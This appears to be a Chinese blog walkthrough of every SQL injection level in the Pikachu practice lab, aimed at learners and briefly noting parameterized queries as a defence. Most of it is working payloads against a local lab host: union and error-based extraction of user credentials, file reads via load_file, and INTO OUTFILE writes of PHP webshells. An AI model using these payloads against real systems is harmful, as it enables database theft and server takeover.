pikachu SQL注入 (皮卡丘漏洞平台通关系列)
一、官方的戏精引言本节引用来自pikachu漏洞靶场哦,SQL注入漏洞,可怕的漏洞。在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞,可能会直接导致一家公司破产!SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL
目录
一、官方的戏精引言
本节引用来自pikachu漏洞靶场
哦,SQL注入漏洞,可怕的漏洞。
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
二、仙女在认真闯关
先说一句,靶场的配套数据库是mysql
一重天 数字型注入
*数字型注入相关的sql语句大概是个 select xxcolumns from xxtable where id=input的形式。*
这关有个下拉菜单可以选数字。由于从url看不到什么变化,我们用burpsuite抓包看一下。
果然是POST方法
后面开始用firefox的hackbar来实施注入,比用burpsuite直观方便点
既然题目说了是数字型,就不找闭合了,按照下面的步骤进行:
1、找列数 payload: id=1 order by n#&submit=%E6%9F%A5%E8%AF%A2
payload中的n为数字,表示select语句结果的列数,如果猜测的列数小于等于select语句查询结果的列数,会返回本关开始那张图,如果猜测的列数大于select语句查询结果的列数,会返回报错。比如从下面两张图可知select语句查询结果有2列。
2、爆库 payload:id=1 union select database(),2#&submit=%E6%9F%A5%E8%AF%A2
上一步知道了查询结果有两列,再看浏览器的返回结果,有用户名和邮箱,所以估计返回结果的两列都是可显示的,因此爆库的时候随便选一列就好。
当前数据库叫pikachu
3、爆表 payload:id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&submit=%E6%9F%A5%E8%AF%A2
表有httpinfo,member,message,users,xssblind
4、爆列 payload:id=1 union select group_concat(column_name),2 from information_schema.columns where table_name='users'#&submit=%E6%9F%A5%E8%AF%A2
5、爆数据 payload:id=1 union select username,password from users#&submit=%E6%9F%A5%E8%AF%A2
密码是md5的,拿去网站https://cmd5.com/爆破一下
admin的密码是123456,pikachu的密码是000000,test的密码是abc123。
6、读文件 payload:id=1 union select load_file('C:/Windows/win.ini'),1 from users#&submit=%E6%9F%A5%E8%AF%A2
7、写马 payload:id=1 union select 1,'<?php assert($_POST[1]);?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/1.php'#&submit=%E6%9F%A5%E8%AF%A2
虽然出现报错,但是马其实已经写好了
二重天 字符型注入
*字符型注入相关的sql语句大概是个 select xxcolumns from xxtable where param ='input'的形式。*
随便输入个用户名fancy,提示输入的用户不存在,得到个url
移步firefox开始进行sql注入步骤:
1、找列数 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' order by 2%23&submit=%E6%9F%A5%E8%AF%A2
payload中的%23就是#,由于在url中#有特殊含义所以要转义
原理和上一关一样,如果猜测的列数小于等于select语句查询结果的列数,会返回本关开始那张图,如果猜测的列数大于select语句查询结果的列数,会返回报错。
最终发现查询结果列数为2
2、爆库 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,database()%23&submit=%E6%9F%A5%E8%AF%A2
由于fancy是不存在的用户,不会返回结果,因此返回的结果只有当前数据库名称,pikachu
3、爆表 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&submit=%E6%9F%A5%E8%AF%A2
4、爆列 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23&submit=%E6%9F%A5%E8%AF%A2
5、爆数据 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select username,password from users%23&submit=%E6%9F%A5%E8%AF%A2
6、读文件 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,load_file('C:/Windows/win.ini')%23&submit=%E6%9F%A5%E8%AF%A2
7、写马 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,'<?php assert($_POST[2]); ?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/2.php'%23&submit=%E6%9F%A5%E8%AF%A2
三重天 搜索型注入
*搜索型注入相关的sql语句大概是个 select xxcolumns from xxtable where param like '%input%'的形式。本质还是字符型注入,只是闭合不一样。*
先输入个xi,搜索之后虽然没有搜索到输入的信息,但是得到了url,目的达成。
下面来开始注入:
1、找闭合
地址栏输入http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi'&submit=%E6%90%9C%E7%B4%A2
有下图的报错信息,根据报错信息判断闭合是%'
输入payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%'%23&submit=%E6%90%9C%E7%B4%A2
进行验证,没有报错,说明闭合猜对了
下面的套路就和上一关一样啦,就简单看看吧
2、找列数 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%' order by 3%23&submit=%E6%90%9C%E7%B4%A2
从下面两张图可知本关查询结果有3列
3、爆库 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%' union select database(),2,3%23&submit=%E6%90%9C%E7%B4%A2
也不知道哪列会回显到浏览器上,就随便猜一列吧。
当前数据库是pikachu,顺便还知道了3列都回显。
4、爆表 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()%23&submit=%E6%90%9C%E7%B4%A2
5、爆列 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%' union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'%23&submit=%E6%90%9C%E7%B4%A2
6、爆内容 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%' union select username,password,level from users%23&submit=%E6%90%9C%E7%B4%A2
7、读文件 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%' union select 1,2,load_file('C:/Windows/win.ini')%23&submit=%E6%90%9C%E7%B4%A2
8、写马 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%' union select 1,2,'<?php eval($_POST[3]);?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/3.php'%23&submit=%E6%90%9C%E7%B4%A2
四重天 xx型注入
*本质还是字符型注入,只是闭合不是那么简单。估计pikachu的作者也想不出什么好名字了。。*
输入fancy,得到url
下面从找闭合开始,逐步进行注入,由于之前三关用的payload都差不多,这关准备稍微搞点花样,不然太没意思了。。。
1、找闭合
浏览器地址栏输入http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy'&submit=%E6%9F%A5%E8%AF%A2
得到如下图的报错,通过报错信息知道这关的闭合是')
浏览器地址栏输入http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy')%23&submit=%E6%9F%A5%E8%AF%A2
没有报错,说明闭合找对了
2、确认列数 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') order by 2%23&submit=%E6%9F%A5%E8%AF%A2
order by 2不报错,order by 3报错,说明sql语句的查询结果有2列
3、爆库 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') union select database(),2%23&submit=%E6%9F%A5%E8%AF%A2
当前数据库是pikachu,根据结果可知两列查询结果都回显
4、爆表 payload:
其实爆表的时候既可以查表information_schema.tables也可以查表information_schema.columns
只是用表information_schema.columns来查table_name的话,会有很多重复的列,需要用distinct来去重。
另外爆表,爆列的时候,数据库名,表名都可以用字符串或者十六进制ascii码。
比如这题,除了和上一关差不多的payload之外,下面两种payload也都是可以的:
http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') union select group_concat(distinct table_name),2 from information_schema.columns where table_schema='pikachu'%23&submit=%E6%9F%A5%E8%AF%A2
http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') union select distinct table_name,2 from information_schema.columns where table_schema=0x70696B61636875%23&submit=%E6%9F%A5%E8%AF%A2
5、爆列 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') union select group_concat(column_name),2 from information_schema.columns where table_name=0x7573657273%23&submit=%E6%9F%A5%E8%AF%A2
6、爆内容 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') union select username,password from users%23&submit=%E6%9F%A5%E8%AF%A2
7、读文件 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') union select 1, load_file('c:/windows/win.ini')%23&submit=%E6%9F%A5%E8%AF%A2
8、写马 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') union select 1,'<?php assert($_POST[4]);?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/4.php'%23&submit=%E6%9F%A5%E8%AF%A2
五重天 insert/update注入
*insert型注入相关的sql语句大概是个 INSERT INTO 表名称 VALUES (值1, 值2,....)或者INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....) 的形式。*
*update型注入相关的sql语句大概是个 UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值 的形式。*
终于来了个不一样的哈
(1)insert注入
点击上图的“注册”进行注册。注册页面如果有注入漏洞的话,应该是insert类型的,因为注册相当于往表里插一行新数据。
一边注册一边burpsuite抓个包。从抓包结果看是post型的,除了submit之外有6个参数。
转移到firefox的hackbar。
1、猜闭合
post data填写:
username=xixi','111')#&password=666666&sex=&phonenum=&email=&add=&submit=submit
结果报错了,说列数不对。
其实到这边已经可以基本确认这关闭合是单引号了,但是为了严谨,重新构造如下payload:
username=xixi','111','222','333','444','555')#&password=666666&sex=&phonenum=&email=&add=&submit=submit
注册成功,说明闭合确实是单引号。
2、爆库
从上面的操作可以看出来,注册页面是没有sql结果回显的,而且毕竟也不是select语句,也不能采取联合查询注入了。
不过从上一步的操作可以看出来,注册的时候如果sql语句有问题是会报错的,因此报错注入行得通。
payload:username=xixi' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
payload里面是or或者and都可以,注意最后可以不用注释符,把第一个参数的单引号闭合就可以了。当然不怕麻烦的话也可以构造下面的payload:
username=xixi' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '','22','33','44','55','66')#&password=666666&sex=&phonenum=&email=&add=&submit=submit
成功爆出当前数据库名称pikachu,不过0x7e是~,不知道为啥网页上显示的是短横。。
payload中的database()换成user(),可以获得当前登录数据库的用户和host
payload中的database()换成@@version,可以得到数据库的版本
payload中的database()换成@@datadir可以得到数据文件存放目录,但是看这个结果,目录长度超出updatexml函数的显示范围了(显示32个字符),需要在payload中加substr()函数来把剩下的字符显示出来
payload:username=xixi' or updatexml(1,concat(0x7e,substr((select @@datadir),32,30),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
两次结果拼在一起就是完整的数据文件保存路径啦
3、爆表
payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
4、爆列
payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),63,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
后面就不继续了,就是substr的第2个参数等于前一次的第2个参数加31就行
5、爆数据:
payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),32,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
后面也差不多,就不继续爆了。
6、读文件
payload:username= ' or updatexml(1,concat(0x7e,substr((select load_file('c:/windows/win.ini')),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
后面差不多,就是改substr的第2个参数,不继续爆了。
(2)update注入
update操作应该是在修改个人信息的页面
非常值得注意的是,只有性别,手机,住址,邮箱全都有值的时候,才会执行修改用户信息的操作,否则该操作不执行
修改信息,submit,burpsuite抓包。也是一个POST报文
找闭合的步骤省略了,也是先加一个单引号,再加两个单引号,前者报错,后者修改成功,表示闭合是单引号。
1、爆库 payload:sex=nv' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit
2、爆表
死活没明白为什么一到这一步参数值就不可以有字符串,改成数字是可以的
payload:sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit
后面差不多,就是改substr的第2个参数
3、爆列 payload:sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit
4、爆内容 payload:sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit
5、读文件 payload:sex=1' and updatexml(1,concat(0x7e,substr((select load_file('c:/windows/win.ini')),1,31),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit
六重天 delete注入
*delete型注入相关的sql语句大概是个 DELETE FROM 表名称 WHERE 列名称 = 值 的形式。*
先留个言,再删个除,burpsuite抓个包
get到url,转战firefox的hackbar
1、爆库 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,(select database()),0x7e),1)
2、爆表 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)
3、爆列 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1)
4、爆内容 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)
5、读文件 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,substr((select load_file('c:/windows/win.ini')),1,31),0x7e),1)
七重天 http头注入
用户名admin,密码123456登录,并用burpsuite抓包
登录进去之后有回显http request报文头
burpsuite抓到的包
根据业务逻辑和上图网页回显分析,这里如果有sql语句的话,比较大可能是insert或者update语句,注入点可能在User-agent或者Accept头。
改http报文头的话,chrome有个插件,叫ModHeader,长得还挺好看,就长下图这样,想改哪个头就把哪个头加进去就好了。
比如我想改User-agent头,就像下图这样在ModHeader里面加上User-agent头,然后正常访问网页就行。
下面就开始注入啦:
1、爆库
由于之前猜测这关比较可能是insert或者update语句,所以来试一下报错注入
payload: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
2、爆表 payload:' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '
是的,这关前面又不能有字符串。。。小小的脑袋,大大的问号。。。
3、爆列 payload:' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '
4、爆数据 payload:' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) or '
5、读文件 payload:' or updatexml(1,concat(0x7e,substr((select load_file('c:/windows/win.ini')),1,31),0x7e),1) or '
八重天 盲注(base on boolian)
我咋觉得这大哥想写的是boolean。。。也许是我孤陋寡闻了。。
盲注。。我的天。。。看到这两个字我就想用sqlmap。。。但是,这次我准备借此机会练习一下写python脚本。
这关我试了一下,应该是需要先知道一个member的名字才行,这样猜对的时候会返回下图这样,猜错的时候会返回提示username不存在。
然后这关的提示还给错了,大家可以用lili、lucy之类之前在其他关出现过的名字,也可以爆破,爆破过程这里就省略了。。
1、找闭合
192.168.101.16/pikachu/vul/sqli/sqli_blind_b.php?name=lili'&submit=查询
用户名后面加一个单引号,返回username不存在
192.168.101.16/pikachu/vul/sqli/sqli_blind_b.php?name=lili''&submit=查询
加两个单引号,也返回username不存在
192.168.101.16/pikachu/vul/sqli/sqli_blind_b.php?name=lili'%23&submit=查询
但是加一个单引号在加一个注释符(%23就是#),返回正常结果。所以闭合是单引号。
2、python整起来
下面就是爆库,爆表,爆列,爆数据的步骤了,这玩意儿纯手工感觉要累死人,借此机会磨练一下python技能。
代码有点长,这里就不贴了,给两个链接
(1)我的github仓库,可以直接下载本关代码:JacquelinXiang/sqli_blind: A simple tool/framework for boolean-based or time-based sql injection(blind) (github.com)
不想打开github的话也可以直接把这个链接甩到迅雷或者github加速网站:https://github.com/JacquelinXiang/sqli_blind/archive/refs/heads/main.zip
(2)我的csdn博文,里面也有本关代码:python实现sql布尔盲注_箭雨镜屋-CSDN博客
如果想自己手工爆破也可以,结合一下burpsuite,就是比较烦和费时间。用到的payload在代码里面都有,这里就不再赘述了。
3、注意
布尔盲注的原理是用and或者or拼接返回布尔值的语句,语句结果为真时页面显示一种结果,语句结果为假时页面显示另一种结果,从而判断语句结果是否为真,并据此爆破相关信息。
需要注意的是,本题虽然既可以用and也可以用or来连接,但是用and的时候,拼接的语句为真时返回用户uid和email,而使用or的时候,拼接的语句为假时返回用户的uid和email。
详见下面四张图
这就搞得我很费解,就算or有短路,也是前面短路后面,怎么会后面短路前面呢。。。
于是用navicat试了一下,select id,email from member where username='lili' or 1=1是会返回表中所有id和email的
再看本关代码,第31行,原来是因为只有当返回结果只有一行的时候才会显示用户id和email呀!
看来真的是要具体问题具体分析。
九重天 盲注(base on time)
哎呀,这个更烦,因为时间盲注更慢
先输入个正确的用户名,返回“i don't care who you are!”
再输入个错误的用户名,返回还是“i don't care who you are!”
参数正确和错误都返回一样的结果,就不能用布尔盲注了,试试时间盲注。
时间盲注的原理是构造逻辑语句,为真时执行sleep操作(表现为回包延时),为假时不执行。
比如:
http://192.168.101.16/pikachu/vul/sqli/sqli_blind_t.php?name=lili' and if(1=1,sleep(2),1)%23&submit=%E6%9F%A5%E8%AF%A2
注意:
这关好像不能用or来连接,我也很费解,于是又用navicat试了,像下图这样,当逻辑语句为真时,足足sleep了45秒,即15*3秒,而如果用户名不正确,则睡足48秒,即16*3秒。
经过研究发现,select id,email from member where username='lili' or 1=1的结果有16行。。。原来如此,感情每查一行就sleep(3)。。。
python代码:
代码有点长,这里就不贴了,给两个链接
(1)我的github仓库,可以直接下载本关代码:JacquelinXiang/sqli_blind: A simple tool/framework for boolean-based or time-based sql injection(blind) (github.com)
不想打开github的话也可以直接把这个链接甩到迅雷或者github加速网站:https://github.com/JacquelinXiang/sqli_blind/archive/refs/heads/main.zip
(2)我的csdn博文,里面也有本关代码:python实现sql时间盲注_箭雨镜屋-CSDN博客
如果想自己手工爆破也可以,结合一下burpsuite,就是比较烦和费时间。用到的payload在代码里面都有,这里就不再赘述了。
天外天 宽字节注入
终于最后一关了。。又是新的一天。。这一天累得我连burpsuite都懒得打开了
F12把firefox的firebug弄出来抓包
然后就可以在hackbar里面构造报文了。
然而我突然想起来,我没怎么接触过宽字节注入,还得先学习一下,简单了解一下之后,发现:
(1)宽字节注入使用条件是:PHP发送请求到MySql时使用了语句SET NAMES 'gbk' 或是set character_set_client =gbk 进行了一次编码
(2)宽字节注入的使用原因是:单引号、双引号等特殊字符被转义
(3)宽字节注入的原理是:当转义使用的\为ASCII编码,而客户端传入的参数被当成GBK等宽字节编码,则可以通过在\之前插入一个十六进制字节(ASCII码要大于128,才到汉字的范围)来让mysql以为插入的字节和\是一个中文字符,从而吃掉\,摧毁转义。
接下来就开始尝试吧
首先发送data:name=lili%df'-- ss&submit=%E6%9F%A5%E8%AF%A2,此时返回的是username不存在,猜测此时数据库接收到的语句类似select userid,email from sometable where username='lili啥'-- ss'
啥表示的是某个中文字符。从上面的分析可见,本关用户名肯定是不能正确了,那么连接词肯定不能用and了,得用or。
如果这关也像布尔盲注那关一样,只有返回1行的时候才显示结果,那就真的没有办法了。。不过,兴许不是呢
输入payload:name=lili%df' or 1=1-- ss&submit=%E6%9F%A5%E8%AF%A2
显示了查询结果
输入payload:name=lili%df' or 1=2-- ss&submit=%E6%9F%A5%E8%AF%A2
返回username不存在
至此,我们知道这关本质上还是布尔盲注,只是单引号被转义了,而且又正好符合宽字节注入的条件,所以可以通过宽字节来摧毁转义,达到注入目的。
因此这关其实可以改改布尔盲注那关的python脚本代码,改的时候注意以下几点:
(1)payload中布尔运算符后面的语句不能包含单引号等会被转义的特殊字符
(2)requests模块方法的入参必须写成字符串形式,不能是字典形式(原因是字典形式的参数会被requests模块自动进行url编码)
(3)http头必须包含"Content-Type":"application/x-www-form-urlencoded" (原因也是如果没有这个头,requests模块就会自动对参数进行url编码)
我自己修改之后的python代码也有发在网上,可以从下面两个渠道看:
(1)我的github仓库:JacquelinXiang/sqli_blind: A simple tool/framework for boolean-based or time-based sql injection(blind) (github.com)
本关的代码文件叫sqli_bb_widebyte.py
不想打开github的话也可以直接把这个链接甩到迅雷或者github加速网站:https://github.com/JacquelinXiang/sqli_blind/archive/refs/heads/main.zip
(2)我的csdn博文:python实现sql宽字节注入+布尔盲注_箭雨镜屋-CSDN博客
靠谱推荐
目前本仙女关于SQL注入的产出都在这个分类专栏下面啦:SQL注入_箭雨镜屋-CSDN博客
然后所有pikachu漏洞靶场的通关都在这个专栏下面:pikachu_箭雨镜屋-CSDN博客
欢迎捧场,欢迎交流,欢迎指正
~~piakchu漏洞靶场通关系列完结撒花~~
更多推荐
所有评论(0)